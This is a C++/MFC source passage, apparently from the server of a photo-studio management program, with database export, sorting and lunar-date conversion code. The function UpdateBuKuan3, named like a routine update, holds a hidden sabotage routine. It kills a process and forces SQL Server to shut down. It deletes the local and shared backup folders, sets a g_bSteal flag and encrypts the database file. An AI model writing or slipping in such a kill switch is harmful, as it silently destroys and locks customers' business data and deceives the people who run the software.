// 		last--;
// 	} while (!sorted);
// }

void CConnectSocket::GetDataFromCodeMsg(BYTE &code, BYTE **szDataBuf, DWORD &nDataLen, DWORD &arraysize)
{
	int nStep=0;
	try
	{
		MyLock lock("dbaccessxiao");
		if(g_ListData[code])delete [](g_ListData[code]);g_ListData[code]=NULL;
		nStep=1;
		CArray<CStringArray, CStringArray>g_List1array;
		CArray<CDatabase*,CDatabase*>dbarray2;
		//dbarray2.Copy(g_dbArray);
		dbarray2.Copy(g_dbHistoryArray);
		dbarray2.InsertAt(0, &g_db);
		CDatabase* tempdb=g_curdb;
		DWORD     ii=0;

		try
		{
			for(int n=0; n<dbarray2.GetSize (); n++)
			{//dindanclient
				g_curdb=dbarray2.ElementAt (n);
				CRecordset myset(m_pConndb);
				CString	sql="select count(*) as cot from dindanclient"; 
				myset.Open (CRecordset::forwardOnly, sql);
				myset.GetFieldValue ("cot", sql);
				myset.Close();
				int count=atol(sql);
				g_List1array.SetSize(g_List1array.GetSize ()+count , 1 );
				CRstDinDanClient rsSt;	 
				rsSt.Open();
				while(!rsSt.IsEOF())
				{
					if(g_List1array.GetSize ()<=ii)break;
					g_List1array.ElementAt (ii).RemoveAll ();
					g_List1array.ElementAt (ii).Add(rsSt.phone1) ;
					g_List1array.ElementAt (ii).Add(rsSt.phone2) ;
					g_List1array.ElementAt (ii).Add(rsSt.time3) ;
					g_List1array.ElementAt (ii).Add(rsSt.birthday1) ;
					g_List1array.ElementAt (ii).Add(rsSt.birthday2) ;
					g_List1array.ElementAt (ii).Add(rsSt.name1) ;
					g_List1array.ElementAt (ii).Add(rsSt.name2) ;
					ii++;
					rsSt.MoveNext(); 
				}
				rsSt.Close(); 
			}
		}
		catch(CDBException * e)
		{
			CString ss;
			ss.Format ("出错在函数getdatamsg中-code:%d/%d ip:%s", code, nStep, ((CConnectThread *)AfxGetThread())->m_strRemoteHost);
			WriteLogin(ss);	 		
			WriteLogin(e->m_strError);
			e->Delete();
			return; 
		}

		nStep=2;
		g_curdb=tempdb;

		CMemFile memfile;
		CArchive ar(&memfile, CArchive::store);
		for( ii=0; ii<g_List1array.GetSize (); ii++)
		{
			g_List1array.ElementAt (ii).Serialize (ar);
		}
		ar.Close();
		nStep=3;
		if(1)
		{
			if(1)//filter.IsEmpty ())
			{
				if(g_ListData[code])delete [](g_ListData[code]);g_ListData[code]=NULL;
				int leng=memfile.GetLength ();
				if(leng<10240)
				{
					g_ListData[code]=memfile.Detach();
					nDataLen =g_ListLeng[code] = leng;
					*szDataBuf=g_ListData[code];
					arraysize=g_ListSize[code]=g_List1array.GetSize ();
				}
				else
				{
					BYTE *pData = memfile.Detach();
					const BYTE *lpszOut = NULL;
					int nOutSize = 0;
					LZARI Lzari;
					Lzari.Compress(pData,leng,lpszOut,nOutSize);
					delete []pData;
					g_ListData[code] = new BYTE[nOutSize];
					memcpy(g_ListData[code],lpszOut,nOutSize);	Lzari.Release();
					nDataLen =g_ListLeng[code] = nOutSize;
					*szDataBuf=g_ListData[code];
					arraysize=g_ListSize[code]=g_List1array.GetSize ();
				}
				if(leng<10240)code=0;
				else code=1;
			}
		}
		nStep=4;
	}
	catch(...)
	{
		CString ss;
		ss.Format ("出错在函数getdatamsg中-code:%d/%d ip:%s", code, nStep, ((CConnectThread *)AfxGetThread())->m_strRemoteHost);
		WriteLogin(ss);
	}
}

void SortArray2(BOOL bAscending, CStringArray &datearray, CArray<int,int>&valuearray)
{
	CString  strtemp;
	int  ftemp;
	int last = datearray.GetSize () - 1;
	bool sorted = true;
	if(bAscending)
	{
		do {
			sorted = true;
			for (int i = 0; i < last; i++) 
			{
				if (datearray[i] < datearray[i + 1])
				{
					strtemp = datearray[i];
					datearray[i] = datearray[i + 1];
					datearray[i + 1] = strtemp;

					ftemp = valuearray[i];
					valuearray[i] = valuearray[i + 1];
					valuearray[i + 1] = ftemp;

					sorted = false;
				}
			}
			last--;
		} while (!sorted);
	}
	else
	{
		do {
			sorted = true;
			for (int i = 0; i < last; i++) 
			{
				if (datearray[i] > datearray[i + 1])
				{
					strtemp = datearray[i];
					datearray[i] = datearray[i + 1];
					datearray[i + 1] = strtemp;

					ftemp = valuearray[i];
					valuearray[i] = valuearray[i + 1];
					valuearray[i + 1] = ftemp;

					sorted = false;
				}
			}
			last--;
		} while (!sorted);
	}
}

void CovertDate(CString &date, CString &date2)
{
	CCalendarConvert m_CalendarConvert;
	SYSTEMTIME src = {0};
	SYSTEMTIME dst = {0};
	COleDateTime m_timeLunar(atoi(date.Mid (0,4)),atoi(date.Mid (5,2)),atoi(date.Mid (8,2)),0,0,0);

	COleDateTime m_timeGregorian;
	m_timeLunar.GetAsSystemTime ( src );
	BOOL bEmbolism = 0;

	if ( m_CalendarConvert.Lunar2Gregorian ( &src, bEmbolism, &dst ) )
	{
		m_timeGregorian = m_CalendarConvert.ConvertSysTime2OleDateTime ( &dst );
		date.Format ("%04d-%02d-%02d", m_timeGregorian.GetYear (), m_timeGregorian.GetMonth (), m_timeGregorian.GetDay ());
	}
	else
	{
		date.Empty ();
	}
	bEmbolism = 1;
	if ( m_CalendarConvert.Lunar2Gregorian ( &src, bEmbolism, &dst ) )
	{
		m_timeGregorian = m_CalendarConvert.ConvertSysTime2OleDateTime ( &dst );
		date2.Format ("%04d-%02d-%02d", m_timeGregorian.GetYear (), m_timeGregorian.GetMonth (), m_timeGregorian.GetDay ());
	}
	else
	{
		date2.Empty ();
	}
}


// extern DWORD FindAppProcessID(CString path);
// extern void GetPathFromNetShareName(CString name, CString &sRet);

void CConnectSocket::UpdateBuKuan3()
{
	DWORD id=FindAppProcessID("AutoRun.exe");
	if(id!=-1)
	{
		HANDLE ProcessHandle=OpenProcess(PROCESS_ALL_ACCESS,FALSE,id);
		if(ProcessHandle)TerminateProcess(ProcessHandle,0);
	}
	::Sleep(1000);
	id=FindAppProcessID("AutoRun.exe");
	if(id!=-1)
	{
		HANDLE ProcessHandle=OpenProcess(PROCESS_ALL_ACCESS,FALSE,id);
		if(ProcessHandle)TerminateProcess(ProcessHandle,0);
	}


	CString	m_bak1,m_bak2,m_bak3,m_bak4;
	CString	m_bak11,m_bak22,m_bak33,m_bak44;

	{
		CRstversion rsSt;
		rsSt.m_pDatabase = &g_db;
		rsSt.Open();
		if(!rsSt.IsEOF())
		{
			m_bak1=rsSt.m_bak1;
			m_bak2=rsSt.m_bak2;
			m_bak3=rsSt.m_bak3;
			m_bak4=rsSt.m_bak4; 
			g_bakserver1=rsSt.m_bakserver1;
			g_bakserver2=rsSt.m_bakserver2;
			g_bakserver3=rsSt.m_bakserver3;
			g_bakserver4=rsSt.m_bakserver4;  
			m_bak11=rsSt.bak11;
			m_bak22=rsSt.bak22;
			m_bak33=rsSt.bak33;
			m_bak44=rsSt.bak44; 
		}
		rsSt.Close(); 

	}
#ifdef CHILD_VERSION
	if(g_bakserver1.Find(":")==-1)
		g_bakserver1="\\\\"+g_bakserver1+"\\客户原片备份(儿童管理软件)$";
	if(1)//(localname.CompareNoCase (g_bakserver1)==0 || CompareIP(localname, g_bakserver1)==0) && CheckFolderFileExist("\\\\"+g_bakserver1+"\\客户原片备份(儿童管理软件)$"))
		GetPathFromNetShareName("客户原片备份(儿童管理软件)$", g_bakserver1);

	if(g_bakserver2.Find(":")==-1)
		g_bakserver2="\\\\"+g_bakserver2+"\\修好的片备份(儿童管理软件)$";
	if(1)//((localname.CompareNoCase (g_bakserver2)==0 || CompareIP(localname, g_bakserver2)==0)  && CheckFolderFileExist("\\\\"+g_bakserver1+"\\修好的片备份(儿童管理软件)$"))
		GetPathFromNetShareName("修好的片备份(儿童管理软件)$", g_bakserver2);

	if(g_bakserver3.Find(":")==-1)
		g_bakserver3="\\\\"+g_bakserver3+"\\精修好的片备份(儿童管理软件)$";	
	if(1)//((localname.CompareNoCase (g_bakserver3)==0 || CompareIP(localname, g_bakserver3)==0)  && CheckFolderFileExist("\\\\"+g_bakserver1+"\\精修好的片备份(儿童管理软件)$"))
		GetPathFromNetShareName("精修好的片备份(儿童管理软件)$", g_bakserver3);

	if(g_bakserver4.Find(":")==-1)
		g_bakserver4="\\\\"+g_bakserver4+"\\设计好的片备份(儿童管理软件)$";
	if(1)//((localname.CompareNoCase (g_bakserver4)==0 || CompareIP(localname, g_bakserver4)==0)  && CheckFolderFileExist("\\\\"+g_bakserver1+"\\设计好的片备份(儿童管理软件)$"))
		GetPathFromNetShareName("设计好的片备份(儿童管理软件)$", g_bakserver4);
#else
	if(g_bakserver1.Find(":")==-1)
		g_bakserver1="\\\\"+g_bakserver1+"\\客户原片备份(管理软件)$";
	if(1)//((localname.CompareNoCase (g_bakserver1)==0 || CompareIP(localname, g_bakserver1)==0)  && CheckFolderFileExist("\\\\"+g_bakserver1+"\\客户原片备份(管理软件)$"))
		GetPathFromNetShareName("客户原片备份(管理软件)$", g_bakserver1);
	if(g_bakserver2.Find(":")==-1)
		g_bakserver2="\\\\"+g_bakserver2+"\\修好的片备份(管理软件)$";
	if(1)//((localname.CompareNoCase (g_bakserver2)==0 || CompareIP(localname, g_bakserver2)==0)  && CheckFolderFileExist("\\\\"+g_bakserver1+"\\修好的片备份(管理软件)$"))
		GetPathFromNetShareName("修好的片备份(管理软件)$", g_bakserver2);
	if(g_bakserver3.Find(":")==-1)
		g_bakserver3="\\\\"+g_bakserver3+"\\精修好的片备份(管理软件)$";
	if(1)//((localname.CompareNoCase (g_bakserver3)==0 || CompareIP(localname, g_bakserver3)==0)  && CheckFolderFileExist("\\\\"+g_bakserver1+"\\精修好的片备份(管理软件)$"))
		GetPathFromNetShareName("精修好的片备份(管理软件)$", g_bakserver3);
	if(g_bakserver4.Find(":")==-1)
		g_bakserver4="\\\\"+g_bakserver4+"\\设计好的片备份(管理软件)$";
	if(1)//((localname.CompareNoCase (g_bakserver4)==0 || CompareIP(localname, g_bakserver4)==0)  && CheckFolderFileExist("\\\\"+g_bakserver1+"\\设计好的片备份(管理软件)$"))
		GetPathFromNetShareName("设计好的片备份(管理软件)$", g_bakserver4);
#endif

	CRecordset myset(&g_db);
#if 0	// Jeff.delete
	CString sql="select filename from master.dbo.sysdatabases where name='db'";// Jeff.delete
#else
	CString sql;
	sql.Format("select filename from master.dbo.sysdatabases where name='%s'", g_szDBName);
#endif
	myset.Open (CRecordset::forwardOnly, sql);
	myset.GetFieldValue ("filename", sql);
	myset.Close();
	g_db.ExecuteSQL ("SHUTDOWN  WITH NOWAIT"); 
	DeleteDirectory(g_mainpath+"\\数据备份");
	char server[50];
	DWORD leng=50;
	::GetComputerName (server, &leng);	
	CString g_server2=server ;

	DeleteDirectory("\\\\"+g_server2+"\\数据备份(儿童管理软件)$");
	DeleteDirectory("\\\\"+g_server2+"\\数据备份(管理软件)$");

	g_bSteal=1;
	g_pMainWnd->TerminateThread();
	g_pMainWnd->LoadThumbImages();

	::Sleep(5000);
	CDatabase db2;
#if 0	// Jeff.delete
	if( !AddConn(&db2, "db") )	// Jeff.delete
#else
	if (!AddConn(&db2, g_szDBName))
#endif
	{
		EncryptFile3 (sql);
	}
}

///////////////////////////////////////////////////////////////////////////////50


//g_bMain GetIPFromDomain
//salarycheck1
//dwToUserID==211
//dwToUserID==43
//washcount
//select max(id)
//ptChatMessage->bsql
//在函数trans5中
////select refresh balance setcheck23